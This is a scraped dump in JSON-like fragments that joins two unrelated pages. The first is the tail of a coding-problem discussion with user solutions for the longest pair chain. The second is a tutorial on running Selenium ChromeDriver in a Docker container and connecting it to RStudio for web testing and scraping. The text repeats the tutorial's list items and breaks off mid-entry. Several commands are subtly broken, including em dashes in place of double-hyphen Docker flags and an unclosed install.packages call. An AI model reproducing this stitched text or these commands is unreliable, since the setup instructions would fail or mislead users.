"text": "Your Task:\nYou don't need to read input or print anything. Your task is to Complete the function maxChainLen() which takes a structure p[] denoting the pairs and n as the number of pairs and returns the length of the longest chain formed."
},
{
"code": null,
"e": 1256,
"s": 1168,
"text": "Expected Time Complexity: O(N*N)\nExpected Auxiliary Space: O(N)\n\nConstraints:\n1<=N<=100"
},
{
"code": null,
"e": 1258,
"s": 1256,
"text": "0"
},
{
"code": null,
"e": 1278,
"s": 1258,
"text": "tsachin7351 day ago"
},
{
"code": null,
"e": 1291,
"s": 1278,
"text": "C++ SOLUTION"
},
{
"code": null,
"e": 1364,
"s": 1291,
"text": "bool mycomp(struct val &a , struct val &b){ return a.second<b.second;}"
},
{
"code": null,
"e": 1617,
"s": 1364,
"text": "int maxChainLen(struct val p[],int n){ sort(p , p+n , mycomp); int previous=0; int count =1; for(int current =1 ; current<n ; current++){ if(p[previous].second<p[current].first){ previous = current; count++; } } return count ; }"
},
{
"code": null,
"e": 1624,
"s": 1621,
"text": "+2"
},
{
"code": null,
"e": 1647,
"s": 1624,
"text": "sanketbhagat1 week ago"
},
{
"code": null,
"e": 1668,
"s": 1647,
"text": "SIMPLE JAVA SOLUTION"
},
{
"code": null,
"e": 2082,
"s": 1668,
"text": "class GfG{\n int maxChainLength(Pair arr[], int n){\n // your code here\n Arrays.sort(arr,(a,b)->a.y-b.y);\n int dp[] = new int[n];\n Arrays.fill(dp,1);\n int ans = 0;\n for(int i=0;i<n;i++){\n for(int j=0;j<i;j++){\n if(arr[i].x>arr[j].y) dp[i] = Math.max(dp[i],1+dp[j]);\n }\n ans = Math.max(ans,dp[i]);\n }\n return ans;\n }\n}"
},
{
"code": null,
"e": 2084,
"s": 2082,
"text": "0"
},
{
"code": null,
"e": 2107,
"s": 2084,
"text": "sagrikasoni2 weeks ago"
},
{
"code": null,
"e": 2139,
"s": 2107,
"text": "JAVA Solution (Greedy Approach)"
},
{
"code": null,
"e": 2444,
"s": 2139,
"text": "class GfG\n{\n int maxChainLength(Pair arr[], int n)\n {\n Arrays.sort(arr,(a,b)->a.y-b.y);\n int count =1;\n int end = arr[0].y;\n for(int i =1;i<n;i++){\n if(end<arr[i].x){\n count++;\n end = arr[i].y;\n }\n }\n return count;\n }\n}"
},
{
"code": null,
"e": 2446,
"s": 2444,
"text": "0"
},
{
"code": null,
"e": 2470,
"s": 2446,
"text": "keshav_bhaau2 weeks ago"
},
{
"code": null,
"e": 2505,
"s": 2470,
"text": "LIS + Sorting (overall, O(Nlogn)):"
},
{
"code": null,
"e": 2998,
"s": 2505,
"text": "int maxChainLen(struct val arr[],int n)\n{\n sort(arr, arr+n ,[](val &a, val &b){\n return a.first<b.first;\n }); \n vector<int> dp;\n dp.push_back(arr[0].second);\n \n for(int i=1;i<n;i++)\n {\n if(arr[i].first>dp.back())\n dp.push_back(arr[i].second);\n else{\n int index= lower_bound(dp.begin(), dp.end(), arr[i].second)-dp.begin();\n dp[index]= arr[i].second;\n }\n }\n return dp.size();\n \n}"
},
{
"code": null,
"e": 3000,
"s": 2998,
"text": "0"
},
{
"code": null,
"e": 3025,
"s": 3000,
"text": "jainmuskan5653 weeks ago"
},
{
"code": null,
"e": 3622,
"s": 3025,
"text": "int solve(int prev,int curr, struct val p[],int n, vector<vector<int>> & dp){ // LIS plus sorting if(curr==n){ return 0; } if(dp[prev+1][curr] > -1){ return dp[prev+1][curr]; } int len= solve(prev,curr+1,p,n,dp); if(prev==-1 || p[prev].second < p[curr].first){ len=max(len,1+solve(curr,curr+1,p,n,dp)); } return dp[prev+1][curr]= len;}static bool comp(struct val a,struct val b){ return a.second<b.second;}int maxChainLen(struct val p[],int n){ vector<vector<int>> dp(n+1,vector<int>(n+1,-1)); // sort p sort(p,p+n, comp); return solve(-1,0,p,n,dp);}"
},
{
"code": null,
"e": 3624,
"s": 3622,
"text": "0"
},
{
"code": null,
"e": 3643,
"s": 3624,
"text": "cyrus184 weeks ago"
},
{
"code": null,
"e": 3658,
"s": 3643,
"text": "Java Solution "
},
{
"code": null,
"e": 4109,
"s": 3658,
"text": "class GfG\n{\n int maxChainLength(Pair arr[], int n)\n {\n // your code here\n Arrays.sort(arr, (a, b) -> (a.y - b.y));\n int[] dp=new int[n];\n Arrays.fill(dp, 1);\n int res=1;\n for(int i=1;i<n;i++){\n for(int j=0;j<i;j++){\n if(arr[i].x > arr[j].y)\n dp[i]=Math.max(dp[i], dp[j]+1);\n res=Math.max(res , dp[i]);\n }\n }\n return res;\n }\n}"
},
{
"code": null,
"e": 4111,
"s": 4109,
"text": "0"
},
{
"code": null,
"e": 4136,
"s": 4111,
"text": "kuldeepy104591 month ago"
},
{
"code": null,
"e": 4652,
"s": 4136,
"text": " bool sortbysecond(struct val &a,struct val &b){ return a.second<b.second;}int maxChainLen(struct val p[],int n){//Your code heresort(p,p+n,sortbysecond);vector<int>output(n);output[0]=1;for(int i=1;i<n;i++){ output[i]=1; for(int j=i-1;j>=0;j--){ if(p[i].first<=p[j].second){ continue; } int possible=output[j]+1; if(possible>output[i]){ output[i]=possible; } }}int max= *max_element(output.begin(),output.end());return max; "
},
{
"code": null,
"e": 4654,
"s": 4652,
"text": "}"
},
{
"code": null,
"e": 4656,
"s": 4654,
"text": "0"
},
{
"code": null,
"e": 4684,
"s": 4656,
"text": "hamidnourashraf2 months ago"
},
{
"code": null,
"e": 5033,
"s": 4684,
"text": "def maxChainLen(Parr, n):\n sorted_parr = sorted(Parr, key=lambda x: x.b)\n _max = 0\n for i in range(n):\n cnt = 1\n curr_b = sorted_parr[i].b\n for j in range(i+1, n):\n if sorted_parr[j].a > curr_b:\n curr_b = sorted_parr[j].b\n cnt += 1\n _max = max(_max, cnt)\n return _max"
},
{
"code": null,
"e": 5035,
"s": 5033,
"text": "0"
},
{
"code": null,
"e": 5060,
"s": 5035,
"text": "junaidalthaf2 months ago"
},
{
"code": null,
"e": 5103,
"s": 5060,
"text": "Why are we expected to sort the pair list?"
},
{
"code": null,
"e": 5106,
"s": 5103,
"text": "+1"
},
{
"code": null,
"e": 5128,
"s": 5106,
"text": "sknwd88642 months ago"
},
{
"code": null,
"e": 5606,
"s": 5128,
"text": "static bool compare(struct val& a, struct val& b)\n{\n return a.first < b.first;\n}\n\nint maxChainLen(struct val arr[], int n)\n{\n sort(arr, arr + n, compare);\n \n vector<int> dp(n, 1);\n \n for(int i = 1; i < n; i++)\n {\n for(int j = 0; j < i; j++)\n {\n if(arr[j].second < arr[i].first && dp[j] + 1 > dp[i])\n {\n dp[i] = dp[j] + 1;\n }\n }\n }\n \n return *max_element(dp.begin(), dp.end());\n}"
},
{
"code": null,
"e": 5752,
"s": 5606,
"text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?"
},
{
"code": null,
"e": 5788,
"s": 5752,
"text": " Login to access your submissions. "
},
{
"code": null,
"e": 5798,
"s": 5788,
"text": "\nProblem\n"
},
{
"code": null,
"e": 5808,
"s": 5798,
"text": "\nContest\n"
},
{
"code": null,
"e": 5871,
"s": 5808,
"text": "Reset the IDE using the second button on the top right corner."
},
{
"code": null,
"e": 6019,
"s": 5871,
"text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values."
},
{
"code": null,
"e": 6227,
"s": 6019,
"text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints."
},
{
"code": null,
"e": 6333,
"s": 6227,
"text": "You can access the hints to get an idea about what is expected of you as well as the final solution code."
}
] |
How to Use Selenium and Docker to Scrape and Test Websites | by Jesse Kerr | Towards Data Science
|
Do you want to access vast amounts of data and test your website without lifting a finger? Do you have a mountain of online grunt work that a computer program could handle? Then you need browser automation with the Selenium WebDriver. Selenium is the premier tool for testing and scraping Javascript-rendered web pages, and this tutorial will cover everything you need to set up and use it on any operating system. Selenium dependencies can be downloaded in a Docker container running on a Linux Virtual Machine; thus, these technologies are introduced and discussed. Lastly, an introduction to programming in Docker and a step-by-step protocol for setting up Selenium and binding it to RStudio is given. Get ready to enter the world of browser automation, where your tedious tasks will be delegated to a daemon, and your prefrontal faculties will be freed to focus on philosophy.
Why use Selenium to automate browsers?
Why use Selenium to automate web browsers? As mentioned above, the two main reasons are web testing and data scraping. Without web testing, programmers at companies like Apple would be unable to check whether new features work as expected before they go live, which could lead to unfortunate bugs for users, (like those that occurred in the iOS 12 update.) While customers are usually shocked when a company such as Apple releases buggy software, the sheer complexity of an iPhone and the number of new or updated features with each update (nearly 100 for iOS 12) make at least some mishaps extremely likely. Not only must each new component be tested, but its interactions with the rest of the phone must also be checked.
However, bugs can be avoided by thorough testing, which is where browser automation comes in. While manual testing remains an integral component of a testing protocol, it is impractical to test so many complex functionalities and their interactions entirely manually. With browser automation, use cases can be tested thousands of times in different environments, thus pulling out bugs that only occur under unusual circumstances. Then, when Apple rolls out another big update, it can rerun a saved testing protocol instead of devising a new one, called regression testing. Thus, automated testing allows companies to increase customer satisfaction and avoid bugs.
The second reason for driving a web browser inside of a programming environment is web scraping, which is the process of extracting content from web pages to use in your own projects or applications. While web scraping can be performed without a webdriver like Selenium, the capabilities of such tools are limited. These “driver-less” packages, which include Rvest in R and beautiful soup in Python, cannot execute Javascript in a browser and thus cannot access any Javascript-rendered elements. While they are able to download a website’s source code as an HTML document, they cannot access any data that results from user interaction. This is due to the peculiar manner that HTML, CSS, and Javascript cooperate to build modern web pages.
When you first open a website, the content you see comes from its source code, which you can view in Google Chrome at any time by pressing Ctrl+Shift+I. This source code is primarily written in HTML and CSS, with the former responsible for the website’s structure and the latter the website’s style. While a detailed discussion of HTML and CSS is beyond the scope of this article, all we need to know is that HTML tags and CSS selectors format web elements, and the combination of the two gives each web element its own unique identifier. These unique identifiers allow driverless web scrapers to differentiate web elements and pull out only the relevant information from the source code.
As a user interacts with the website, however, new elements are formed and existing ones are altered by Javascript. These elements are not contained in the page’s source code, and are thus inaccessible to the packages mentioned above. For example, most websites require a user to login before accessing information, meaning everything after login will be beyond reach of the driverless web scrapers. If the internet is really the “information highway,” source code is only the onramp, and it ends at the entrance. With Selenium, we can drive our way to Destination Data, population infinite- provided we know how to steer.
Virtual Machines and Containers
Selenium can’t simply be downloaded and run because it needs 1) specific libraries and 2) a specific operating system (for example, it won’t run on OS X). While in the past virtual machines (VMs) supplied such dependencies, today it is much more efficient to use the combination of a container and Docker. To understand why, we first need to review the uses and underpinnings of these tools.
VMs are emulations of one computer inside of another. Multiple VMs can run inside one host, and the interactions between host and emulation are managed by a hypervisor. Since VMs contain everything a physical computer does, they are often used to “test drive” new operating systems (OSs) without having to buy new hardware. The reason for this is that, while many people think of operating systems as virtually interchangeable, there can be significant differences between them. An OS is more than just an insignia on a motherboard; instead, it is the toolset that you must use to get the hardware to do what you want. If the operator is a painter then the OS is the paintbrush, the translator from thought to reality that can restrict or expand what is possible. Therefore, since your choice of OS can have far-reaching consequences, the ability to test-drive a new one with ease is invaluable.
While VMs remain useful for testing new OSs, containers are a better method of providing libraries for a software. Since each VM you download comes with its own OS, using one to simply provide libraries is like packing up your entire closet for a weekend camping trip: Sure you may have everything you need, but the four ties and the wingtips certainly seem like overkill. (Maybe just take the quarter brogues, bro.) This is where containers come in. If VMs are voracious overpackers, containers are cutthroat carry-on crammers, because each container only comes with the libraries necessary to run one software. Every container on a machine shares 1 (Linux) OS, which greatly decreases their storage space and runtime. But where do they get this Linux OS to run off of? That is where Docker comes in.
Docker is the leading software for running and distributing containers, and its primary purpose it to provide the Linux OS that containers run on. This Linux OS is managed in Windows and Mac by each OS’s native hypervisor (Hyper-V and HyperKit, respectively). Containers can thus make use of every aspect of the Linux operating system, including its filesystem and kernel, during bootup and runtime. Two important Linux components, the daemon and the command line interface (CLI), together comprise the Docker engine, which is used to perform most of your container’s tasks. The docker daemon is a server that runs unobtrusively in the background, waiting for a specific event or for the user to call on it. When we want something done in Docker, we use the CLI to send a message to the daemon (also called dockerd). The commands that call upon the Docker daemon, called Docker commands follow a general template for their usage, which I review below.
Most docker commands contain an action, a path, and options. The action is written as docker followed by what we want the daemon to do. For example, if we want the daemon to start a container, it has to run an image, so the action is docker run. (An image is simply a file that, when executed, starts the container- if the container is a cake, the image is the recipe.) The path specifies what file we want the daemon to perform the action on and where the file is located. In docker run, the path would tell the daemon where to find the image, (which by default is Docker Hub, Docker’s cloud-based image repository) and the name of the image file. If there are different versions of a file, you can choose one by supplying a tag; if no tag is specified, the latest version is pulled automatically. Lastly, options modify the command. In the case of docker run, there are hundreds of options (which you can see on its reference page). While you can ignore or use the default for most of them, some do need to be specified, as we will see below.
Since docker run starts our containers, it is one of the most important Docker commands. It thus makes sense that it has so many options. This can make the code look complex, as you can see in the below example that starts the Selenium ChromeDriver:
docker run -d -v LOCAL_PATH://home/seluser/Downloads -p 4445:4444 — shm-size = 2g — name YOUR_CONTAINER_NAME selenium/standalone-chrome
In fact the above code is very simple, and there are only 5 options specified between the action and the path. Let’s review these 5 options below.
The -d option tells the container to run in detached mode, which means in the background. This keeps the application’s output hidden, allowing us to continue using the terminal.The -v option is known as a bindmount, and it is essential for data scraping. This option tells Docker to bind some directory in the Linux VM that the container is running in to some folder in the host machine (i.e., our home computer). This means that anything downloaded to that Linux directory will be transferred to the folder we specified on our machine. When you close Docker and your running containers, the data saved to them does not persist, so this is a very important step in saving our data! (Another option is using persistent volumes.) To use the -v option, first specify the folder on your home computer that you want the data transferred to and then the directory on the Linux VM that you want to use, split by a colon. When you actually start running Selenium, make sure to have your code save your data to the Linux directory you specified!The — shm-size option increases the size of the /dev/shm directory, which is a temporary file storage system. This is because the default shared memory on the container is too small for Chrome to run. I have had success with the size set at 2 gigabytes, following this github discussion.The -p option specifies which ports the container and the Linux VM should connect through. We first specify the port on the Linux VM and then the port on the container. The Selenium image exposes port 4444 by default and here we use 4445 for the host port. When we bind the Linux VM and the Selenium container inside of it to RStudio later, we will use this outer-facing port 4445.The — name option allows us to give our container a specific name. If we don’t specify a name, Docker will name our container for us using its default naming system, which is actually really cool. Instead of using the UUID, a long jumble of numbers and letters that is difficult to read and remember, Docker randomly merges an adjective and a famous scientist, and somehow the combination is always catchy. (It also feels pretty sweet coding in a container called kickass_chandrasekhar.)
The -d option tells the container to run in detached mode, which means in the background. This keeps the application’s output hidden, allowing us to continue using the terminal.
The -v option is known as a bindmount, and it is essential for data scraping. This option tells Docker to bind some directory in the Linux VM that the container is running in to some folder in the host machine (i.e., our home computer). This means that anything downloaded to that Linux directory will be transferred to the folder we specified on our machine. When you close Docker and your running containers, the data saved to them does not persist, so this is a very important step in saving our data! (Another option is using persistent volumes.) To use the -v option, first specify the folder on your home computer that you want the data transferred to and then the directory on the Linux VM that you want to use, split by a colon. When you actually start running Selenium, make sure to have your code save your data to the Linux directory you specified!
The — shm-size option increases the size of the /dev/shm directory, which is a temporary file storage system. This is because the default shared memory on the container is too small for Chrome to run. I have had success with the size set at 2 gigabytes, following this github discussion.
The -p option specifies which ports the container and the Linux VM should connect through. We first specify the port on the Linux VM and then the port on the container. The Selenium image exposes port 4444 by default and here we use 4445 for the host port. When we bind the Linux VM and the Selenium container inside of it to RStudio later, we will use this outer-facing port 4445.
The — name option allows us to give our container a specific name. If we don’t specify a name, Docker will name our container for us using its default naming system, which is actually really cool. Instead of using the UUID, a long jumble of numbers and letters that is difficult to read and remember, Docker randomly merges an adjective and a famous scientist, and somehow the combination is always catchy. (It also feels pretty sweet coding in a container called kickass_chandrasekhar.)
And that’s it! These 5 options are all you need to create the complicated-looking docker run command above.
Now that we have a firm grasp of Selenium, VMs, containers, and Docker, it’s time to finally download and set up the Selenium ChromeDriver. Let’s go!
Download the right version of Docker for your OS and work type (business, personal, etc.). Docker provides both enterprise and community editions (CE). For those looking to go deeper with containers, Moby splits up the components of containers and allows users to individually assemble them like Legos. For our purposes, Docker CE will work fine.Download the ChromeDriver.In Windows, you will need to make sure virtualization is enabled so that Docker can start the Linux VM. You can do this by navigating to BIOS and enabling Virtualization, (called VT-AMD in BIOS). (To access BIOS, press F10 during Windows Startup and go to System Configuration.)Execute the steps to install and set up Docker. At the end, Docker’s characteristic whale will appear in the terminal.Pull the image for the Selenium ChromeDriver by typing docker pull selenium/standalone-chrome in the terminal. Since we did not specify a version, the most recent one will be pulled. You should see Using default tag: latest: Pulling from selenium/standalone-chrome. Then you will see Status: Downloaded newer image for selenium/standalone-chrome:latestRun the Selenium Chromedriver, using the command from above. Remember to replace LOCAL_PATH and YOUR_CONTAINER_NAME with the folder and name you want to use.
Download the right version of Docker for your OS and work type (business, personal, etc.). Docker provides both enterprise and community editions (CE). For those looking to go deeper with containers, Moby splits up the components of containers and allows users to individually assemble them like Legos. For our purposes, Docker CE will work fine.
Download the ChromeDriver.
In Windows, you will need to make sure virtualization is enabled so that Docker can start the Linux VM. You can do this by navigating to BIOS and enabling Virtualization, (called VT-AMD in BIOS). (To access BIOS, press F10 during Windows Startup and go to System Configuration.)
Execute the steps to install and set up Docker. At the end, Docker’s characteristic whale will appear in the terminal.
Pull the image for the Selenium ChromeDriver by typing docker pull selenium/standalone-chrome in the terminal. Since we did not specify a version, the most recent one will be pulled. You should see Using default tag: latest: Pulling from selenium/standalone-chrome. Then you will see Status: Downloaded newer image for selenium/standalone-chrome:latest
Run the Selenium Chromedriver, using the command from above. Remember to replace LOCAL_PATH and YOUR_CONTAINER_NAME with the folder and name you want to use.
docker run -d -v LOCAL_PATH://home/seluser/Downloads -p 4445:4444 — shm-size = 2g — name YOUR_CONTAINER_NAME selenium/standalone-chrome
Now that we have Docker set up and running, I’ll show you how to bind it to RStudio using RSelenium. If you are not a R user, there are articles on how to bind Selenium to other programming languages, such as Python and Ruby, or you can simply write scripts in the Docker CLI.
Type install.packages(RSelenium in the console in RStudio.Then: library(RSelenium)Set the options for the Chrome Driver. There are others that you can set, but these three are essential. The first will block popups, the second will ensure that files download without needing a prompt from you, and the third will determine where downloaded files end up (which should be the directory in the Linux VM that you specified earlier in docker run).
Type install.packages(RSelenium in the console in RStudio.
Then: library(RSelenium)
Set the options for the Chrome Driver. There are others that you can set, but these three are essential. The first will block popups, the second will ensure that files download without needing a prompt from you, and the third will determine where downloaded files end up (which should be the directory in the Linux VM that you specified earlier in docker run).
eCaps <- list( chromeOptions = list(prefs = list( “profile.default_content_settings.popups” = 0L, “download.prompt_for_download” = FALSE, “download.default_directory” = “home/seluser/Downloads” ) ))
4. Create the bind from R to the Linux VM. The browser name is Chrome, the port is the port specified in docker run, the extra capabilities were specified above in step 3, and the remoteServerAddr is the IP of the Linux VM.
remDr <- remoteDriver(browserName= “chrome”, port=4445L, extraCapabilities = eCaps, remoteServerAddr = "192.168.99.100",)
5. Finally, typing remDr$open will bind R to the virtual OS. In your global environment you should see that remDr is an <Object containing active binding>.
That’s all folks! You’re now ready to start using Docker for your amazing web testing and data scraping projects! Thank you so much for reading, and please feel free to follow up with any questions at my twitter handle, @halfinit. See you next time!
|
[
{
"code": null,
"e": 928,
"s": 47,
"text": "Do you want to access vast amounts of data and test your website without lifting a finger? Do you have a mountain of online grunt work that a computer program could handle? Then you need browser automation with the Selenium WebDriver. Selenium is the premier tool for testing and scraping Javascript-rendered web pages, and this tutorial will cover everything you need to set up and use it on any operating system. Selenium dependencies can be downloaded in a Docker container running on a Linux Virtual Machine; thus, these technologies are introduced and discussed. Lastly, an introduction to programming in Docker and a step-by-step protocol for setting up Selenium and binding it to RStudio is given. Get ready to enter the world of browser automation, where your tedious tasks will be delegated to a daemon, and your prefrontal faculties will be freed to focus on philosophy."
},
{
"code": null,
"e": 967,
"s": 928,
"text": "Why use Selenium to automate browsers?"
},
{
"code": null,
"e": 1690,
"s": 967,
"text": "Why use Selenium to automate web browsers? As mentioned above, the two main reasons are web testing and data scraping. Without web testing, programmers at companies like Apple would be unable to check whether new features work as expected before they go live, which could lead to unfortunate bugs for users, (like those that occurred in the iOS 12 update.) While customers are usually shocked when a company such as Apple releases buggy software, the sheer complexity of an iPhone and the number of new or updated features with each update (nearly 100 for iOS 12) make at least some mishaps extremely likely. Not only must each new component be tested, but its interactions with the rest of the phone must also be checked."
},
{
"code": null,
"e": 2354,
"s": 1690,
"text": "However, bugs can be avoided by thorough testing, which is where browser automation comes in. While manual testing remains an integral component of a testing protocol, it is impractical to test so many complex functionalities and their interactions entirely manually. With browser automation, use cases can be tested thousands of times in different environments, thus pulling out bugs that only occur under unusual circumstances. Then, when Apple rolls out another big update, it can rerun a saved testing protocol instead of devising a new one, called regression testing. Thus, automated testing allows companies to increase customer satisfaction and avoid bugs."
},
{
"code": null,
"e": 3094,
"s": 2354,
"text": "The second reason for driving a web browser inside of a programming environment is web scraping, which is the process of extracting content from web pages to use in your own projects or applications. While web scraping can be performed without a webdriver like Selenium, the capabilities of such tools are limited. These “driver-less” packages, which include Rvest in R and beautiful soup in Python, cannot execute Javascript in a browser and thus cannot access any Javascript-rendered elements. While they are able to download a website’s source code as an HTML document, they cannot access any data that results from user interaction. This is due to the peculiar manner that HTML, CSS, and Javascript cooperate to build modern web pages."
},
{
"code": null,
"e": 3783,
"s": 3094,
"text": "When you first open a website, the content you see comes from its source code, which you can view in Google Chrome at any time by pressing Ctrl+Shift+I. This source code is primarily written in HTML and CSS, with the former responsible for the website’s structure and the latter the website’s style. While a detailed discussion of HTML and CSS is beyond the scope of this article, all we need to know is that HTML tags and CSS selectors format web elements, and the combination of the two gives each web element its own unique identifier. These unique identifiers allow driverless web scrapers to differentiate web elements and pull out only the relevant information from the source code."
},
{
"code": null,
"e": 4406,
"s": 3783,
"text": "As a user interacts with the website, however, new elements are formed and existing ones are altered by Javascript. These elements are not contained in the page’s source code, and are thus inaccessible to the packages mentioned above. For example, most websites require a user to login before accessing information, meaning everything after login will be beyond reach of the driverless web scrapers. If the internet is really the “information highway,” source code is only the onramp, and it ends at the entrance. With Selenium, we can drive our way to Destination Data, population infinite- provided we know how to steer."
},
{
"code": null,
"e": 4438,
"s": 4406,
"text": "Virtual Machines and Containers"
},
{
"code": null,
"e": 4830,
"s": 4438,
"text": "Selenium can’t simply be downloaded and run because it needs 1) specific libraries and 2) a specific operating system (for example, it won’t run on OS X). While in the past virtual machines (VMs) supplied such dependencies, today it is much more efficient to use the combination of a container and Docker. To understand why, we first need to review the uses and underpinnings of these tools."
},
{
"code": null,
"e": 5726,
"s": 4830,
"text": "VMs are emulations of one computer inside of another. Multiple VMs can run inside one host, and the interactions between host and emulation are managed by a hypervisor. Since VMs contain everything a physical computer does, they are often used to “test drive” new operating systems (OSs) without having to buy new hardware. The reason for this is that, while many people think of operating systems as virtually interchangeable, there can be significant differences between them. An OS is more than just an insignia on a motherboard; instead, it is the toolset that you must use to get the hardware to do what you want. If the operator is a painter then the OS is the paintbrush, the translator from thought to reality that can restrict or expand what is possible. Therefore, since your choice of OS can have far-reaching consequences, the ability to test-drive a new one with ease is invaluable."
},
{
"code": null,
"e": 6528,
"s": 5726,
"text": "While VMs remain useful for testing new OSs, containers are a better method of providing libraries for a software. Since each VM you download comes with its own OS, using one to simply provide libraries is like packing up your entire closet for a weekend camping trip: Sure you may have everything you need, but the four ties and the wingtips certainly seem like overkill. (Maybe just take the quarter brogues, bro.) This is where containers come in. If VMs are voracious overpackers, containers are cutthroat carry-on crammers, because each container only comes with the libraries necessary to run one software. Every container on a machine shares 1 (Linux) OS, which greatly decreases their storage space and runtime. But where do they get this Linux OS to run off of? That is where Docker comes in."
},
{
"code": null,
"e": 7480,
"s": 6528,
"text": "Docker is the leading software for running and distributing containers, and its primary purpose it to provide the Linux OS that containers run on. This Linux OS is managed in Windows and Mac by each OS’s native hypervisor (Hyper-V and HyperKit, respectively). Containers can thus make use of every aspect of the Linux operating system, including its filesystem and kernel, during bootup and runtime. Two important Linux components, the daemon and the command line interface (CLI), together comprise the Docker engine, which is used to perform most of your container’s tasks. The docker daemon is a server that runs unobtrusively in the background, waiting for a specific event or for the user to call on it. When we want something done in Docker, we use the CLI to send a message to the daemon (also called dockerd). The commands that call upon the Docker daemon, called Docker commands follow a general template for their usage, which I review below."
},
{
"code": null,
"e": 8525,
"s": 7480,
"text": "Most docker commands contain an action, a path, and options. The action is written as docker followed by what we want the daemon to do. For example, if we want the daemon to start a container, it has to run an image, so the action is docker run. (An image is simply a file that, when executed, starts the container- if the container is a cake, the image is the recipe.) The path specifies what file we want the daemon to perform the action on and where the file is located. In docker run, the path would tell the daemon where to find the image, (which by default is Docker Hub, Docker’s cloud-based image repository) and the name of the image file. If there are different versions of a file, you can choose one by supplying a tag; if no tag is specified, the latest version is pulled automatically. Lastly, options modify the command. In the case of docker run, there are hundreds of options (which you can see on its reference page). While you can ignore or use the default for most of them, some do need to be specified, as we will see below."
},
{
"code": null,
"e": 8775,
"s": 8525,
"text": "Since docker run starts our containers, it is one of the most important Docker commands. It thus makes sense that it has so many options. This can make the code look complex, as you can see in the below example that starts the Selenium ChromeDriver:"
},
{
"code": null,
"e": 8911,
"s": 8775,
"text": "docker run -d -v LOCAL_PATH://home/seluser/Downloads -p 4445:4444 — shm-size = 2g — name YOUR_CONTAINER_NAME selenium/standalone-chrome"
},
{
"code": null,
"e": 9058,
"s": 8911,
"text": "In fact the above code is very simple, and there are only 5 options specified between the action and the path. Let’s review these 5 options below."
},
{
"code": null,
"e": 11250,
"s": 9058,
"text": "The -d option tells the container to run in detached mode, which means in the background. This keeps the application’s output hidden, allowing us to continue using the terminal.The -v option is known as a bindmount, and it is essential for data scraping. This option tells Docker to bind some directory in the Linux VM that the container is running in to some folder in the host machine (i.e., our home computer). This means that anything downloaded to that Linux directory will be transferred to the folder we specified on our machine. When you close Docker and your running containers, the data saved to them does not persist, so this is a very important step in saving our data! (Another option is using persistent volumes.) To use the -v option, first specify the folder on your home computer that you want the data transferred to and then the directory on the Linux VM that you want to use, split by a colon. When you actually start running Selenium, make sure to have your code save your data to the Linux directory you specified!The — shm-size option increases the size of the /dev/shm directory, which is a temporary file storage system. This is because the default shared memory on the container is too small for Chrome to run. I have had success with the size set at 2 gigabytes, following this github discussion.The -p option specifies which ports the container and the Linux VM should connect through. We first specify the port on the Linux VM and then the port on the container. The Selenium image exposes port 4444 by default and here we use 4445 for the host port. When we bind the Linux VM and the Selenium container inside of it to RStudio later, we will use this outer-facing port 4445.The — name option allows us to give our container a specific name. If we don’t specify a name, Docker will name our container for us using its default naming system, which is actually really cool. Instead of using the UUID, a long jumble of numbers and letters that is difficult to read and remember, Docker randomly merges an adjective and a famous scientist, and somehow the combination is always catchy. (It also feels pretty sweet coding in a container called kickass_chandrasekhar.)"
},
{
"code": null,
"e": 11428,
"s": 11250,
"text": "The -d option tells the container to run in detached mode, which means in the background. This keeps the application’s output hidden, allowing us to continue using the terminal."
},
{
"code": null,
"e": 12288,
"s": 11428,
"text": "The -v option is known as a bindmount, and it is essential for data scraping. This option tells Docker to bind some directory in the Linux VM that the container is running in to some folder in the host machine (i.e., our home computer). This means that anything downloaded to that Linux directory will be transferred to the folder we specified on our machine. When you close Docker and your running containers, the data saved to them does not persist, so this is a very important step in saving our data! (Another option is using persistent volumes.) To use the -v option, first specify the folder on your home computer that you want the data transferred to and then the directory on the Linux VM that you want to use, split by a colon. When you actually start running Selenium, make sure to have your code save your data to the Linux directory you specified!"
},
{
"code": null,
"e": 12576,
"s": 12288,
"text": "The — shm-size option increases the size of the /dev/shm directory, which is a temporary file storage system. This is because the default shared memory on the container is too small for Chrome to run. I have had success with the size set at 2 gigabytes, following this github discussion."
},
{
"code": null,
"e": 12958,
"s": 12576,
"text": "The -p option specifies which ports the container and the Linux VM should connect through. We first specify the port on the Linux VM and then the port on the container. The Selenium image exposes port 4444 by default and here we use 4445 for the host port. When we bind the Linux VM and the Selenium container inside of it to RStudio later, we will use this outer-facing port 4445."
},
{
"code": null,
"e": 13446,
"s": 12958,
"text": "The — name option allows us to give our container a specific name. If we don’t specify a name, Docker will name our container for us using its default naming system, which is actually really cool. Instead of using the UUID, a long jumble of numbers and letters that is difficult to read and remember, Docker randomly merges an adjective and a famous scientist, and somehow the combination is always catchy. (It also feels pretty sweet coding in a container called kickass_chandrasekhar.)"
},
{
"code": null,
"e": 13554,
"s": 13446,
"text": "And that’s it! These 5 options are all you need to create the complicated-looking docker run command above."
},
{
"code": null,
"e": 13704,
"s": 13554,
"text": "Now that we have a firm grasp of Selenium, VMs, containers, and Docker, it’s time to finally download and set up the Selenium ChromeDriver. Let’s go!"
},
{
"code": null,
"e": 14982,
"s": 13704,
"text": "Download the right version of Docker for your OS and work type (business, personal, etc.). Docker provides both enterprise and community editions (CE). For those looking to go deeper with containers, Moby splits up the components of containers and allows users to individually assemble them like Legos. For our purposes, Docker CE will work fine.Download the ChromeDriver.In Windows, you will need to make sure virtualization is enabled so that Docker can start the Linux VM. You can do this by navigating to BIOS and enabling Virtualization, (called VT-AMD in BIOS). (To access BIOS, press F10 during Windows Startup and go to System Configuration.)Execute the steps to install and set up Docker. At the end, Docker’s characteristic whale will appear in the terminal.Pull the image for the Selenium ChromeDriver by typing docker pull selenium/standalone-chrome in the terminal. Since we did not specify a version, the most recent one will be pulled. You should see Using default tag: latest: Pulling from selenium/standalone-chrome. Then you will see Status: Downloaded newer image for selenium/standalone-chrome:latestRun the Selenium Chromedriver, using the command from above. Remember to replace LOCAL_PATH and YOUR_CONTAINER_NAME with the folder and name you want to use."
},
{
"code": null,
"e": 15329,
"s": 14982,
"text": "Download the right version of Docker for your OS and work type (business, personal, etc.). Docker provides both enterprise and community editions (CE). For those looking to go deeper with containers, Moby splits up the components of containers and allows users to individually assemble them like Legos. For our purposes, Docker CE will work fine."
},
{
"code": null,
"e": 15356,
"s": 15329,
"text": "Download the ChromeDriver."
},
{
"code": null,
"e": 15635,
"s": 15356,
